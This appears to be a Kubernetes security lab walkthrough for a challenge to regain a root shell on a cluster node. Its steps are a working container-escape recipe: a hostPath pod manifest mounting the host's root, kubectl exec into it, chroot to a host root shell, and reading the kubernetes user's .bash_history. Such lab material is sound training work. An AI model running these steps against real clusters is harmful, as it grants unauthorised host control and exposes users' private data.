Bonus Walkthroughs¶
Challenge 1¶
Get a root shell on the cluster node again. Find out the image name that was last run directly with docker commands by the kubernetes user.
-
Create a "hostpath volume mount"
podmanifest.cat > hostpath.yml <<EOF --- apiVersion: v1 kind: Pod metadata: name: hostpath spec: containers: - name: hostpath image: busybox:latest command: - sleep - "86400" volumeMounts: - name: rootfs mountPath: /rootfs restartPolicy: Always volumes: - name: rootfs hostPath: path: / EOF -
Create the
podthat mounts the host filesystem's/at/rootfsinside the container.kubectl apply -f hostpath.yml -
Use
kubectl execto get a shell inside thehostpathpodin thedefaultnamespace.kubectl exec -it hostpath /bin/sh -
Use the
chrootcommand to switch the filesystem root to the/rootfsof the container and run abashshell.chroot /rootfs /bin/bash -
Navigate to the home directory of the
kubernetesuser on the host filesystem, and examine the shell history for the image that was run manually with adocker runinvocation.cd /home/kubernetes lscat .bash_history -
Exit from the
chrootshell.1. Exit from theexitkubectl execinto thepod.exit -
Clean up after our
podescape.kubectl delete -f hostpath.yml